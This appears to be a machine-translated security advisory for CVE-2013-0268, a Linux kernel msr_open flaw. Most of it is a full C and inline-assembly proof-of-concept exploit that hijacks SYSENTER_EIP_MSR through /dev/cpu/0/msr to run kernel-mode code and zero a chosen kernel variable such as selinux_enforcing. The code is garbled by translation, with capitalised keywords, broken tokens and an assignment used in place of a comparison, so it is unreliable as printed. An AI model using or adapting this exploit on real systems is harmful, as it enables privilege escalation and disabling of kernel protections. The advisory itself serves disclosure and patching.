Release date:
Updated on:
Affected Systems:
Linux kernel 2.6.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 57838
CVE (CAN) ID: CVE-2013-0268
Linux Kernel is the Kernel of the Linux operating system.
Linux kernel versions earlier than 3.7.6 are arch/x86/kernel/msr. in c, the msr_open function has a vulnerability that allows local users to execute special applications with root permissions to bypass the target function restrictions, and then execute arbitrary code with elevated permissions.
<* Source: Alan Cox
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
// PoC exploit for/dev/cpu/*/msr, 32bit userland on a 64bit host
// Can do whatever in the commented area, re-enable module support, etc
// Requires CONFIG_X86_MSR and just uid 0
// A small race exists between the time when the MSR is written to the first
// Time and when we issue our sysenter
// We additionally require CAP_SYS_NICE to make the race win nearly guaranteed
// Configured to take a hex arg of a dword pointer to set to 0
// (Modules_disabled, selinux_enforcing, take your pick)
//
// Hello to Red Hat, who has shown yet again to not care until
// Public exploit is released. Not even a bugtraq entry existed in
// Their system until this was published -- and they have a paid team
// Of how many?
// It's not as if I didn't mention the problem and existence of an easy
// Exploit multiple times prior:
// Https://twitter.com/grsecurity/status/298977370776432640
// Https://twitter.com/grsecurity/status/297365303095078912
// Https://twitter.com/grsecurity/status/297189488638181376
// Https://twitter.com/grsecurity/status/297030133628416000
// Https://twitter.com/grsecurity/status/297029470072745984
// Https://twitter.com/grsecurity/status/297028324134359041
//
// Der 2013
# Define _ GNU_SOURCE
# Include <stdio. h>
# Include <sched. h>
# Include <unistd. h>
# Include <sys/types. h>
# Include <sys/stat. h>
# Include <fcntl. h>
# Include <stdlib. h>
# Include <sys/time. h>
# Include <sys/resource. h>
# Include <sys/mman. h>
# Define SYSENTER_EIP_MSR 0x176
U_int64_t msr;
Unsigned long ourstack [65536];
U_int64_t payload_data [16];
Extern void * _ ring0;
Extern void * _ ring0_end;
Void ring0 (void)
{
_ Asm volatile (". globl _ ring0 \ n"
"_ Ring0: \ n"
". Intel_syntax noprefix \ n"
". Code64 \ n"
// Set up stack pointer with 'ourstack'
"Mov esp, ecx \ n"
// Save registers, contains the original MSR value
"Push rax \ n"
"Push rbx \ n"
"Push rcx \ n"
"Push rdx \ n"
// Play with the kernel here with interrupts disabled!
"Mov rcx, qword ptr [rbx + 8] \ n"
"Test rcx, rcx \ n"
"Jz skip_write \ n"
"Mov dword ptr [rcx], 0 \ n"
"Skip_write: \ n"
// Restore MSR value before returning
"Mov ecx, 0x176 \ n" // SYSENTER_EIP_MSR
"Mov eax, dword ptr [rbx] \ n"
"Mov edx, dword ptr [rbx + 4] \ n"
"Wrmsr \ n"
"Pop rdx \ n"
"Pop rcx \ n"
"Pop rbx \ n"
"Pop rax \ n"
"Sti \ n"
"Sysexit \ n"
". Code32 \ n"
". Att_syntax prefix \ n"
". Global _ ring0_end \ n"
"_ Ring0_end: \ n"
);
}
Unsigned long saved_stack;
Int main (int argc, char * argv [])
{
Cpu_set_t set;
Int msr_fd;
Int ret;
U_int64_t new_msr;
Struct sched_param sched;
U_int64_t resolved_addr = 0ULL;
If (argc = 2)
Resolved_addr = strtoull (argv [1], NULL, 16 );
/* Can do this without privilege */
Mlock (_ ring0, (unsigned long) _ ring0_end-(unsigned long) _ ring0 );
Mlock (& payload_data, sizeof (payload_data ));
CPU_ZERO (& set );
CPU_SET (0, & set );
Sched. sched_priority = 99;
Ret = sched_setscheduler (0, SCHED_FIFO, & sched );
If (ret ){
Fprintf (stderr, "Unable to set priority. \ n ");
Exit (1 );
}
Ret = sched_setaffinity (0, sizeof (cpu_set_t), & set );
If (ret ){
Fprintf (stderr, "Unable to set affinity. \ n ");
Exit (1 );
}
Msr_fd = open ("/dev/cpu/0/msr", O_RDWR );
If (msr_fd <0 ){
Msr_fd = open ("/dev/msr0", O_RDWR );
If (msr_fd <0 ){
Fprintf (stderr, "Unable to open/dev/cpu/0/msr \ n ");
Exit (1 );
}
}
Lseek (msr_fd, SYSENTER_EIP_MSR, SEEK_SET );
Ret = read (msr_fd, & msr, sizeof (msr ));
If (ret! = Sizeof (msr )){
Fprintf (stderr, "Unable to read/dev/cpu/0/msr \ n ");
Exit (1 );
}
// Stuff some addresses in a buffer whose address we
// Pass to the "kernel" via register
Payload_data [0] = msr;
Payload_data [1] = resolved_addr;
Printf ("Old SYSENTER_EIP_MSR = % 016llx \ n", msr );
Fflush (stdout );
Lseek (msr_fd, SYSENTER_EIP_MSR, SEEK_SET );
New_msr = (u_int64_t) (unsigned long) & _ ring0;
Printf ("New SYSENTER_EIP_MSR = % 016llx \ n", new_msr );
Fflush (stdout );
Ret = write (msr_fd, & new_msr, sizeof (new_msr ));
If (ret! = Sizeof (new_msr )){
Fprintf (stderr, "Unable to modify/dev/cpu/0/msr \ n ");
Exit (1 );
}
_ Asm volatile (
". Intel_syntax noprefix \ n"
". Code32 \ n"
"Mov saved_stack, esp \ n"
"Lea ecx, ourstack \ n"
"Lea edx, label2 \ n"
"Lea ebx, payload_data \ n"
"Sysenter \ n"
"Label2: \ n"
"Mov esp, saved_stack \ n"
". Att_syntax prefix \ n"
);
Printf ("Success. \ n ");
Return 0;
}
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
Linux
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.kernel.org/